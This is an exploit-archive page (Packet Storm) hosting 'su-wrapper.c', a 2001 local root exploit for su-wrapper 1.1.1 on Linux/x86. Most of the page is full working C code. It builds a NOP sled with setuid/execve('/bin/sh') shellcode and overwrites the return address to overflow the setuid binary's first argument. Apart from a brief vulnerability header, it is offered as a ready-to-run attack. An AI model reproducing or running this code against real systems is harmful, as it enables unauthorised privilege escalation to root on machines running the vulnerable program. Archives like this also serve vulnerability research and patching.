exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

su-wrapper.c

su-wrapper.c
Posted Jun 7, 2001
Authored by Dex | Site raza-mexicana.org

Su-wrapper v1.1.1 local root exploit for Linux/x86.

tags | exploit, x86, local, root
systems | linux
SHA-256 | 942b946e556a127ab3738e8046bb6401be1e111a46efe383d2ad6b46481182a5

su-wrapper.c

Change Mirror Download
/* - su-wrapper.c - */

/*************************************************************************/
/* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit. */
/* */
/* Package Description: */
/* su-wrapper is an little util which lets special users execute */
/* processes under another uid/gid. */
/* */
/* Vulnerability Description: */
/* If a long line on the first argument is gived, the program sends */
/* a SIGSEGV Signal. */
/* */
/* Affected: All Systems who have su-wrapper installed :P */
/* */
/* I don't know if other versions are vulnerable too. */
/* */
/* This bug was reported to Enrico Weigelt (weigelt@nibiru.thur.de) */
/* */
/* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */
/* etc */
/* dex: dexgod@softhome.net <> http://www.raza-mexicana.org - */
/*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFERSIZE 1032
#define OFFSET 0
#define ALIGN 0

static char shellcode[]=
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe3\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

void main(int argc, char **argv) {

int i;

unsigned long addr;

char *buffer;

int buffersize = BUFFERSIZE;
int offset = OFFSET;
int align = ALIGN;

if(argc > 1) offset = atoi(argv[1]);

if(argc > 2) align = atoi(argv[2]);

if(argc > 3) buffersize = atoi(argv[3]);

buffer = (char *)malloc(buffersize +8);

addr = get_sp() - offset;

for(i = 0; i < buffersize; i+=4) {
*(long *)&buffer[i] = 0x90909090;
}

*(long *)&buffer[buffersize - 4] = addr;

*(long *)&buffer[buffersize - 8] = addr;

memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode));

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");

printf("[x] su-wrapper 1.1.1 local root exploit\n");
printf("[x] dex: - dexgod@softhome.net <> http://www.raza-mexicana.org - \n");

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset);

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

printf("[x] Exploiting...\n");

if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {
printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n");
}

}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close